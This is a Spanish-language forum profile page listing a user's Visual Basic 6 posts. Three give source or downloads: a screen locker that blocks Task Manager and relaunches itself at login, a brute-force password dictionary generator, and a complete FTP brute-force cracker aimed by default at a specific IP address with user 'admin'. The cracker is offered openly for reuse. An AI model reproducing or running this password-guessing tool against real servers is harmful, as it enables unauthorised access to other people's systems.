• Martes 16 de Abril de 2024, 00:24

Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.


Temas - 79137913

Páginas: [1]
1
Visual Basic 6.0 e inferiores / [SOURCE] Block Computer
« en: Martes 15 de Mayo de 2012, 13:42 »
HOLA!!!

Antes que nada, el codigo esta un poco desordenado pero funciona perfect.

El programa es perfecto para cuando uno no quiere que accedan a la pc mientras uno no esta.

Posee Calculadora integrada, Calendario y Tetris

Si la pc se reinicia, el Programa al iniciar sesion se activa nuevamente.
Bloquea el administrador de tareas.
Queda "Always on top"
Te dice la fecha y la hora.

Metodos para Anularlo, bueno simple, entrar en modo a prueba de fallos y borrar o mover el exe. (o borrar el .bat que se crea en la carpeta inico).

Una captura:



Atencion:

Como cerrarlo?

En el campo Nota1 poner el numero de dia en los primeros 2 caracteres
En el campo Nota2 poner el numero de mes en los primeros 2 caracteres
En el campo Nota3 poner el numero de año en los primeros 4 caracteres
(en el caso del mes y el dia , si son menores a 10 habra que poner un 0 antes del numero)

Ahi el boton salir funcionara...

Presionamos salir (dblclick)

Y en contraseña ponemos la hora y los minutos seguidos de "7913"

Presionamos salir y listo.
Código: [Seleccionar]
Ejemplo: hoy es 21/3/2011 y son las 02:51 pm

En nota1: "21" o "21 hola como andas"
En nota2: "03" o "03 todo bien"
En nota3: "2011" o "2011 si si"
En pass : "14517913"

Descargar URL:
http://adf.ly/8YWHv

Puede llegar a ser detectado, igual tienen el codigo para verificar que funciona sin ninguna mala intencion ;)

GRACIAS POR LEER!!!

2
Visual Basic 6.0 e inferiores / [SOURCE] Brute Force Dictionary Creator 7913
« en: Miércoles 18 de Abril de 2012, 13:51 »
HOLA!!!

Bueno... es un creador de diccionarios ni mas ni menos.

Siguiendo... les dejo una captura, el source y el binario.

Es mas para ejemplo que para usarlo, pero si no tenemos nada funciona :P.



Código

Código: Visual Basic
  1. Const Sym As String = "/\!·$%&/()='""¡¿?<>., :;-_*+" 'Simbolos
  2. Const Num As String = "0123456789"                   'Numeros
  3. Const Min As String = "abcdefghijklmnopqrstuvwxyz"   'Letras Minusculas
  4. Const May As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"   'Letras Mayusculas
  5. Const SpL As String = "áéíóúàèìòùâêîôûäëïöüçñ"       'Letras Especiales Minusculas
  6. Const SpU As String = "ÁÉÍÓÚÀÈÌÒÙÊÎÔÛÄËÏÖÜÇÑ"       'Letras Especiales Mayusculas
  7. Dim Cad As String                                    'Cadena entera de caracteres
  8. Dim X As Long                                        'Para los Bucles
  9.  
  10. Private Sub Inicio()
  11. Dim Letras() As String
  12. Dim Posiciones() As Long
  13. Dim Palabras() As String
  14. Dim a As Long
  15. Dim CT As Long
  16. Dim CantPos As Long
  17. Dim CantLet As Long
  18.     Letras = CharSplit7913(Cad)
  19.     CantLet = UBound(Letras)
  20.     Open "C:\Dic7913.txt" For Output As #1
  21.     Close #1
  22.     ReDim Palabras(1000)
  23.     For a = 0 To Val(MinMaxL(1).Text) - Val(MinMaxL(0).Text)
  24.         CantPos = MinMaxL(0) + a - 1
  25.         ReDim Posiciones(CantPos)
  26.         Do
  27.         For X = 0 To CantPos
  28.             Palabras(CT) = Palabras(CT) & Letras(Posiciones(X))
  29.         Next
  30.         CT = CT + 1
  31.         Posiciones(0) = Posiciones(0) + 1
  32.         For X = 0 To CantPos - 1
  33.             If Posiciones(X) > CantLet Then Posiciones(X) = 0: Posiciones(X + 1) = Posiciones(X + 1) + 1
  34.         Next
  35.         If CT = 1001 Then
  36.             Open "C:\Dic7913.txt" For Append As #1
  37.                 For X = 0 To 1000
  38.                     Print #1, Palabras(X)
  39.                 Next
  40.             Close #1
  41.             ReDim Palabras(1000)
  42.             CT = 0
  43.         End If
  44.         If Posiciones(CantPos) = CantLet + 1 Then GoTo Terminado
  45.         Loop
  46. Terminado:
  47.     Next
  48.     If CT <> 0 Then
  49.         Open "C:\Dic7913.txt" For Append As #1
  50.             For X = 0 To CT
  51.                 Print #1, Palabras(X)
  52.             Next
  53.         Close #1
  54.         CT = 0
  55.     End If
  56.     MsgBox "Terminado", vbInformation, "Atencion"
  57. End Sub
  58.  
  59. Private Sub Caracteres_Click(Index As Integer)
  60.     'Limita el checkbox de los caracteres extra si el cuadro de texto esta vacio
  61.    If Index = 6 And Len(ExtraCHR.Text) = 0 Then Caracteres(6).Value = 0: MsgBox "El cuadro de texto de caracteres extra debe tener al menos un caracter", vbCritical, "Error"
  62. End Sub
  63.  
  64. Private Sub Go_Click()
  65. Dim FlagCheck As Boolean
  66.     'Comprobacion de los minimos y maximos de longitud
  67.    If Val(MinMaxL(0).Text) = 0 Then MsgBox "El minimo de longitud no puede ser cero", vbCritical, "Error": Exit Sub
  68.     If Val(MinMaxL(1).Text) = 0 Then MsgBox "El maximo de longitud no puede ser cero", vbCritical, "Error": Exit Sub
  69.     If Val(MinMaxL(0).Text) - Val(MinMaxL(1).Text) > 0 Then MsgBox "El maximo de longitud no puede ser menor que el minimo", vbCritical, "Error": Exit Sub
  70.     'Comprobacion de los checkboxes, minimo uno debe estar tildado
  71.    For X = 0 To 6
  72.         If Caracteres(X).Value = 1 Then FlagCheck = True
  73.     Next
  74.     If FlagCheck = False Then MsgBox "Seleccione primero con que caracteres quiere hacer el diccionario", vbCritical, "Error": Exit Sub
  75.     Cad = vbNullString 'Vacio el string Cad por si estaba lleno
  76.    'Lleno cad con la seleccion del usuario
  77.    If Caracteres(0).Value = 1 Then Cad = Num
  78.     If Caracteres(1).Value = 1 Then Cad = Cad & Sym
  79.     If Caracteres(2).Value = 1 Then Cad = Cad & Min
  80.     If Caracteres(3).Value = 1 Then Cad = Cad & Max
  81.     If Caracteres(4).Value = 1 Then Cad = Cad & SpL
  82.     If Caracteres(5).Value = 1 Then Cad = Cad & SpU
  83.     If Caracteres(6).Value = 1 Then Cad = Cad & ExtraCHR.Text
  84.     MsgBox "El Proceso esta por Comenzar, esto podria tardar mucho tiempo para frenarlo presione Ctrl+Shift+Esc y termine el proceso, el diccionario quedara incompleto (este se guarda en c:\Dic7913.txt)", vbInformation, "Atencion - Por Comenzar"
  85.     Call Inicio ' llamo al inicio de proceso
  86. End Sub
  87.  
  88. Private Sub MinMaxL_KeyPress(Index As Integer, KeyAscii As Integer)
  89.     If Not IsNumeric(Chr(KeyAscii)) Then KeyAscii = 0 'Verifica que solo se ingresen numeros en el desde hasta.
  90. End Sub
  91.  
  92. Private Function CharSplit7913(expression As String) As String()
  93.     Dim lExp     As Long
  94.     Dim ExpB()   As Byte
  95.     Dim AuxArr() As String
  96.     ExpB = expression
  97.     lExp = UBound(ExpB)
  98.     ReDim AuxArr(lExp)
  99.     For X = 0 To lExp Step 2
  100.         AuxArr(X / 2) = ChrW(ExpB(X))
  101.     Next
  102.     ReDim Preserve AuxArr(Int(lExp / 2))
  103.     CharSplit7913 = AuxArr
  104. End Function



Descargar Source y Binario:
http://adf.ly/7Wsf8

GRACIAS POR LEER!!!

3
Visual Basic 6.0 e inferiores / BASE DE DATOS O TEXTO PLANO
« en: Viernes 30 de Julio de 2010, 17:00 »
Que les parece mejor usar bases de datos clasicas (.mdb) o utilizar bases de datos "propias" en archivos de texto plano

Pido opinion solamente.

GRACIAS!!!

4
Visual Basic 6.0 e inferiores / CRACKER ME LO REVISAN?
« en: Miércoles 28 de Julio de 2010, 16:42 »
HOLA!!!
Como andan, quisiera que me revisaran el codigo de un FTP CRACKER por medio de un winSOCK(telnet) que hice recien  :comp: .
El proyecto a mi parecer esta completo, consiste en un proyecto (disculpen la redundancia) con el componente winsock, un form y un modulo bas normal.

Dentro del form hay:
1 textbox multilinea llamado INx
1 texbox normal llamado OUTx
1 winsock llamado TELNET

el codigo del form es este:

Código: Visual Basic
  1.  
  2. Public CT As Integer
  3. Public FAILED As String
  4. Public ACUSER As String
  5. Public USER As String
  6. Public CONTROL As Integer
  7.  
  8. Private Sub Form_Load()
  9.     CONTROL = vbNo
  10.     Telnet.RemoteHost = InputBox("HOST", "INSERTE", "173.236.40.122")
  11.     Telnet.RemotePort = InputBox("PUERTO", "INSERTE", 21)
  12.     FAILED = InputBox("CODIGO DE CONTRASEÑA INVALIDA", "INSERTE", 530)
  13.     ACUSER = InputBox("CODIGO DE USUARIO ACEPTADO", "INSERTE", 331)
  14.     USER = InputBox("USUARIO", "INSERTE", "admin")
  15.     Call BORRAR_VECTOR
  16.     Telnet.Connect
  17. End Sub
  18.  
  19. Private Sub Form_Resize()
  20.     If Me.Height > 701 Then
  21.         inx.Width = Me.Width
  22.         inx.Height = Me.Height - 700
  23.         outx.Width = Me.Width
  24.         outx.Top = inx.Height
  25.     End If
  26. End Sub
  27.  
  28. Private Sub Form_Unload(Cancel As Integer)
  29.     Telnet.Close
  30.     End
  31. End Sub
  32.  
  33. Private Sub telnet_DataArrival(ByVal bytesTotal As Long)
  34.     Dim strData As String
  35.     Telnet.GetData strData
  36.     inx.Text = inx.Text & strData
  37.     If CONTROL = vbNo Then
  38.         Call ANALIZAR(Mid(strData, 1, 3))
  39.     End If
  40.    
  41.     If CT Mod 2 Then
  42.         Call NUEVAPASS
  43.             outx.Text = "pass " & PASS
  44.             Call outx_KeyPress(vbKeyReturn)
  45.         Else
  46.             outx.Text = "user " & USER
  47.             Call outx_KeyPress(vbKeyReturn)
  48.     End If
  49. End Sub
  50.  
  51. Private Sub outx_KeyPress(KeyAscii As Integer)
  52.     If KeyAscii = vbKeyReturn Then
  53.         Telnet.SendData outx.Text & vbCrLf
  54.         outx.Text = ""
  55.         outx.SetFocus
  56.     End If
  57. End Sub
  58.  
  59. Private Sub ANALIZAR(CODE As String)
  60.     CT = CT + 1
  61.     If Not (CODE = ACUSER Or CT = 1 Or CODE = FAILED) Then
  62.         CONTROL = MsgBox("CODIGO EXTRAÑO(" & CODE & ") CON PASSWORD ''" & PASS & "'' DESEA TOMAR EL CONTROL DE LA TERMINAL (SI) O DESEA QUE CONTINUE EL ATAQUE DE FUERZA BRUTA (NO)", vbYesNo)
  63.     End If
  64. End Sub
  65.  
  66.  

Y el codigo del modulo es:
Código: Visual Basic
  1.  
  2. Dim PASSNUM(17) As Integer
  3. Dim PASSLET(17) As String
  4. Public PASS As String
  5.  
  6. Public Sub BORRAR_VECTOR()
  7.     PASSNUM(1) = 47
  8.     For X = 2 To 16
  9.         PASSNUM(X) = 0
  10.     Next X
  11. End Sub
  12.  
  13. Public Sub NUEVAPASS()
  14.     PASSNUM(1) = PASSNUM(1) + 1
  15.     Call ORDENAR
  16.     Call CONVERTIR
  17.     Call CONCATENAR
  18. End Sub
  19.  
  20. Private Sub ORDENAR()
  21.     For X = 1 To 16
  22.         If PASSNUM(X) = 124 Then
  23.             If PASSNUM(X + 1) = 0 Then
  24.                 PASSNUM(X + 1) = 47
  25.             End If
  26.             PASSNUM(X + 1) = PASSNUM(X + 1) + 1
  27.         End If
  28.     Next X
  29.     If PASSNUM(17) = 1 Then
  30.         MsgBox "TODAS LAS CLAVES PROBADAS", , "ERROR"
  31.         End
  32.     End If
  33. End Sub
  34.  
  35. Private Sub CONVERTIR()
  36.     For X = 1 To 16
  37.         If PASSNUM(X) <> 0 Then
  38.             PASSLET(X) = Chr(PASSNUM(X))
  39.         End If
  40.     Next X
  41. End Sub
  42.  
  43. Private Sub CONCATENAR()
  44.     PASS = ""
  45.     For X = 1 To 16
  46.         PASS = PASS & PASSLET(X)
  47.     Next X
  48. End Sub
  49.  
  50.  


Si quieren usar algo del codigo no hay problema, pero igual es muy rudimentario.

El problema principal es que bueno, tardaria mucho pero en fin, es fuerza bruta  :hitcomp:




 :)  :)  :)  :)  :)  GRACIAS DE ANTEMANO  :)  :)  :)  :)  :)

Páginas: [1]